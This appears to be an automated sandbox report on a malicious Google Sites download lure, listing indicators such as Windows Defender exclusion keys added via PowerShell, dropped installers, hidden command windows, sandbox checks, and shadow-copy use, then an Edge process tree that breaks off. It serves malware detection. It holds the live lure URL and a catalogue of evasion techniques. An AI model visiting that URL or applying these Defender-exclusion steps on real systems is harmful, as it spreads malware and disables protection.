hxxps://sites[.]google[.]com/view/freemediafire

Analysis

user interaction
yes
max time kernel
145s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/07/2026, 08:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://sites.google.com/view/freemediafire
Sample260712-kr6d6ae12m

Score

10^/10

defense_evasion discovery execution persistence ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 7 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5896	powershell.exe
7004	powershell.exe
6464	powershell.exe
5688	powershell.exe
5896	powershell.exe
4100	powershell.exe
6520	powershell.exe
2136	powershell.exe
6348	powershell.exe

Executes dropped EXE 8 IoCs

pid	Process
6688	Installer.exe
6828	Installer.exe
6944	Installer.exe
7024	Installer.exe
4964	BusizGuard.exe
3008	BusizGuard.exe
6640	dcq1aslq2y.exe
4184	BusizGuard.exe

Loads dropped DLL 23 IoCs

pid	Process
408	Setup.exe
408	Setup.exe
408	Setup.exe
6688	Installer.exe
6828	Installer.exe
6828	Installer.exe
6944	Installer.exe
7024	Installer.exe
6828	Installer.exe
6828	Installer.exe
6828	Installer.exe
6828	Installer.exe
4836	launcher.exe
4836	launcher.exe
4836	launcher.exe
4964	BusizGuard.exe
3008	BusizGuard.exe
3008	BusizGuard.exe
3008	BusizGuard.exe
3008	BusizGuard.exe
3008	BusizGuard.exe
3008	BusizGuard.exe
4184	BusizGuard.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
6492	cmd.exe

Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	sites.google.com
6	sites.google.com
9	sites.google.com
13	sites.google.com
56	sites.google.com
84	sites.google.com
86	sites.google.com

Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
6824	cmd.exe
6204	cmd.exe
6452	cmd.exe
6492	cmd.exe
4352	cmd.exe
6016	cmd.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
526	api.ipify.org
527	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
6492	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3568	msedge.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	BusizGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	BusizGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	BusizGuard.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2712	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134283198780993290"	msedge.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-189034102-168398478-1159367937-1000\{2150C1BB-3C78-472A-8CC9-ECC2FEA92428}	dcq1aslq2y.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-189034102-168398478-1159367937-1000\{952B9770-286B-417E-AE9D-1C20B13206BF}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
6440	powershell.exe
6440	powershell.exe
6440	powershell.exe
7004	powershell.exe
7004	powershell.exe
7004	powershell.exe
6464	powershell.exe
6464	powershell.exe
6464	powershell.exe
5688	powershell.exe
5688	powershell.exe
5688	powershell.exe
5896	powershell.exe
5896	powershell.exe
5896	powershell.exe
4100	powershell.exe
4100	powershell.exe
4100	powershell.exe
1340	msedge.exe
1340	msedge.exe
6520	powershell.exe
6520	powershell.exe
6520	powershell.exe
2712	WMIC.exe
2712	WMIC.exe
2712	WMIC.exe
2712	WMIC.exe
2136	powershell.exe
2136	powershell.exe
2136	powershell.exe
6348	powershell.exe
6348	powershell.exe
6348	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs

pid	Process
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	408	Setup.exe
Token: SeShutdownPrivilege	6688	Installer.exe
Token: SeCreatePagefilePrivilege	6688	Installer.exe
Token: SeDebugPrivilege	6440	powershell.exe
Token: SeDebugPrivilege	7004	powershell.exe
Token: SeShutdownPrivilege	6688	Installer.exe
Token: SeCreatePagefilePrivilege	6688	Installer.exe
Token: SeIncreaseQuotaPrivilege	6440	powershell.exe
Token: SeSecurityPrivilege	6440	powershell.exe
Token: SeTakeOwnershipPrivilege	6440	powershell.exe
Token: SeLoadDriverPrivilege	6440	powershell.exe
Token: SeSystemProfilePrivilege	6440	powershell.exe
Token: SeSystemtimePrivilege	6440	powershell.exe
Token: SeProfSingleProcessPrivilege	6440	powershell.exe
Token: SeIncBasePriorityPrivilege	6440	powershell.exe
Token: SeCreatePagefilePrivilege	6440	powershell.exe
Token: SeBackupPrivilege	6440	powershell.exe
Token: SeRestorePrivilege	6440	powershell.exe
Token: SeShutdownPrivilege	6440	powershell.exe
Token: SeDebugPrivilege	6440	powershell.exe
Token: SeSystemEnvironmentPrivilege	6440	powershell.exe
Token: SeRemoteShutdownPrivilege	6440	powershell.exe
Token: SeUndockPrivilege	6440	powershell.exe
Token: SeManageVolumePrivilege	6440	powershell.exe
Token: 33	6440	powershell.exe
Token: 34	6440	powershell.exe
Token: 35	6440	powershell.exe
Token: 36	6440	powershell.exe
Token: SeShutdownPrivilege	6688	Installer.exe
Token: SeCreatePagefilePrivilege	6688	Installer.exe
Token: SeIncreaseQuotaPrivilege	6440	powershell.exe
Token: SeSecurityPrivilege	6440	powershell.exe
Token: SeTakeOwnershipPrivilege	6440	powershell.exe
Token: SeLoadDriverPrivilege	6440	powershell.exe
Token: SeSystemProfilePrivilege	6440	powershell.exe
Token: SeSystemtimePrivilege	6440	powershell.exe
Token: SeProfSingleProcessPrivilege	6440	powershell.exe
Token: SeIncBasePriorityPrivilege	6440	powershell.exe
Token: SeCreatePagefilePrivilege	6440	powershell.exe
Token: SeBackupPrivilege	6440	powershell.exe
Token: SeRestorePrivilege	6440	powershell.exe
Token: SeShutdownPrivilege	6440	powershell.exe
Token: SeDebugPrivilege	6440	powershell.exe
Token: SeSystemEnvironmentPrivilege	6440	powershell.exe
Token: SeRemoteShutdownPrivilege	6440	powershell.exe
Token: SeUndockPrivilege	6440	powershell.exe
Token: SeManageVolumePrivilege	6440	powershell.exe
Token: 33	6440	powershell.exe
Token: 34	6440	powershell.exe
Token: 35	6440	powershell.exe
Token: 36	6440	powershell.exe
Token: SeIncreaseQuotaPrivilege	6440	powershell.exe
Token: SeSecurityPrivilege	6440	powershell.exe
Token: SeTakeOwnershipPrivilege	6440	powershell.exe
Token: SeLoadDriverPrivilege	6440	powershell.exe
Token: SeSystemProfilePrivilege	6440	powershell.exe
Token: SeSystemtimePrivilege	6440	powershell.exe
Token: SeProfSingleProcessPrivilege	6440	powershell.exe
Token: SeIncBasePriorityPrivilege	6440	powershell.exe
Token: SeCreatePagefilePrivilege	6440	powershell.exe
Token: SeBackupPrivilege	6440	powershell.exe
Token: SeRestorePrivilege	6440	powershell.exe
Token: SeShutdownPrivilege	6440	powershell.exe
Token: SeDebugPrivilege	6440	powershell.exe

Suspicious use of FindShellTrayWindow 51 IoCs

pid	Process
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
6688	Installer.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3244 wrote to memory of 3304	3244	msedge.exe	87
PID 3244 wrote to memory of 4040	3244	msedge.exe	88
PID 3244 wrote to memory of 3568	3244	msedge.exe	89
PID 3244 wrote to memory of 4040	3244	msedge.exe	88
PID 3244 wrote to memory of 4040	3244	msedge.exe	88
PID 3244 wrote to memory of 5336	3244	msedge.exe	91
PID 3244 wrote to memory of 5336	3244	msedge.exe	91
PID 3244 wrote to memory of 1408	3244	msedge.exe	92
PID 3244 wrote to memory of 1932	3244	msedge.exe	93
PID 3244 wrote to memory of 1408	3244	msedge.exe	92
PID 3244 wrote to memory of 1408	3244	msedge.exe	92
PID 3244 wrote to memory of 1932	3244	msedge.exe	93
PID 3244 wrote to memory of 1932	3244	msedge.exe	93
PID 3244 wrote to memory of 2916	3244	msedge.exe	94
PID 3244 wrote to memory of 2916	3244	msedge.exe	94
PID 3244 wrote to memory of 2916	3244	msedge.exe	94
PID 3244 wrote to memory of 4824	3244	msedge.exe	95
PID 3244 wrote to memory of 4824	3244	msedge.exe	95
PID 3244 wrote to memory of 4824	3244	msedge.exe	95
PID 3244 wrote to memory of 4416	3244	msedge.exe	98
PID 3244 wrote to memory of 2580	3244	msedge.exe	97
PID 3244 wrote to memory of 4416	3244	msedge.exe	98
PID 3244 wrote to memory of 2580	3244	msedge.exe	97
PID 3244 wrote to memory of 3308	3244	msedge.exe	100
PID 3244 wrote to memory of 976	3244	msedge.exe	103
PID 3244 wrote to memory of 976	3244	msedge.exe	103
PID 3244 wrote to memory of 976	3244	msedge.exe	103
PID 3244 wrote to memory of 2976	3244	msedge.exe	104
PID 3244 wrote to memory of 2976	3244	msedge.exe	104
PID 3244 wrote to memory of 2976	3244	msedge.exe	104
PID 3244 wrote to memory of 3720	3244	msedge.exe	105
PID 3244 wrote to memory of 3720	3244	msedge.exe	105
PID 3244 wrote to memory of 3720	3244	msedge.exe	105
PID 3244 wrote to memory of 4604	3244	msedge.exe	106
PID 3244 wrote to memory of 4604	3244	msedge.exe	106
PID 3244 wrote to memory of 4604	3244	msedge.exe	106
PID 3244 wrote to memory of 6056	3244	msedge.exe	107
PID 3244 wrote to memory of 6056	3244	msedge.exe	107
PID 3244 wrote to memory of 6056	3244	msedge.exe	107
PID 3244 wrote to memory of 1188	3244	msedge.exe	108
PID 3244 wrote to memory of 1188	3244	msedge.exe	108
PID 3244 wrote to memory of 1188	3244	msedge.exe	108
PID 3244 wrote to memory of 844	3244	msedge.exe	109
PID 3244 wrote to memory of 844	3244	msedge.exe	109
PID 3244 wrote to memory of 844	3244	msedge.exe	109
PID 3244 wrote to memory of 4812	3244	msedge.exe	110
PID 3244 wrote to memory of 4812	3244	msedge.exe	110
PID 3244 wrote to memory of 4812	3244	msedge.exe	110
PID 3244 wrote to memory of 5528	3244	msedge.exe	111
PID 3244 wrote to memory of 5528	3244	msedge.exe	111
PID 3244 wrote to memory of 5528	3244	msedge.exe	111
PID 3244 wrote to memory of 4104	3244	msedge.exe	112
PID 3244 wrote to memory of 4104	3244	msedge.exe	112
PID 3244 wrote to memory of 4104	3244	msedge.exe	112
PID 3244 wrote to memory of 5228	3244	msedge.exe	113
PID 3244 wrote to memory of 5228	3244	msedge.exe	113
PID 3244 wrote to memory of 5728	3244	msedge.exe	114
PID 3244 wrote to memory of 5728	3244	msedge.exe	114
PID 3244 wrote to memory of 5728	3244	msedge.exe	114
PID 3244 wrote to memory of 3544	3244	msedge.exe	115
PID 3244 wrote to memory of 3544	3244	msedge.exe	115
PID 3244 wrote to memory of 3544	3244	msedge.exe	115
PID 3244 wrote to memory of 5520	3244	msedge.exe	116
PID 3244 wrote to memory of 5520	3244	msedge.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://sites.google.com/view/freemediafire
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x2c8,0x7ffb152ec188,0x7ffb152ec194,0x7ffb152ec1a0
  2⤵
  PID:3304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1552,i,9668575634864778813,6932713773499225147,262144 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:2
  2⤵
  PID:4040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1716,i,3786640520691479797,3718545229247036368,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2276,i,8826178627646936839,1151761012516753709,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:13
  2⤵
  PID:5336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3672,i,15995837526388769367,17415110884282814701,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:1
  2⤵
  PID:1408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3676,i,3612068183328843906,7147321497956127570,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=4016 /prefetch:1
  2⤵
  PID:1932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4384,i,11043629682564958139,4775694538451426798,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=4556 /prefetch:1
  2⤵
  PID:2916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4396,i,17290666327733357422,10384488475531372191,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:9
  2⤵
  PID:4824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3964,i,8876289922208121293,14517177446131022461,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:14
  2⤵
  PID:2580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,17072108983601558473,13182596508232296519,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
  2⤵
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,7378931102201110005,11681428345487332089,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
  2⤵
  PID:2756
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,7378931102201110005,11681428345487332089,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
  2⤵
  PID:3308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6568,i,13305308555125601578,6705486965646950389,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:1
  2⤵
  PID:976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6536,i,7504031155923035608,3934415648359508089,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=6736 /prefetch:1
  2⤵
  PID:2976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6940,i,1365425014724200036,7413416034289124539,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:1
  2⤵
  PID:3720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
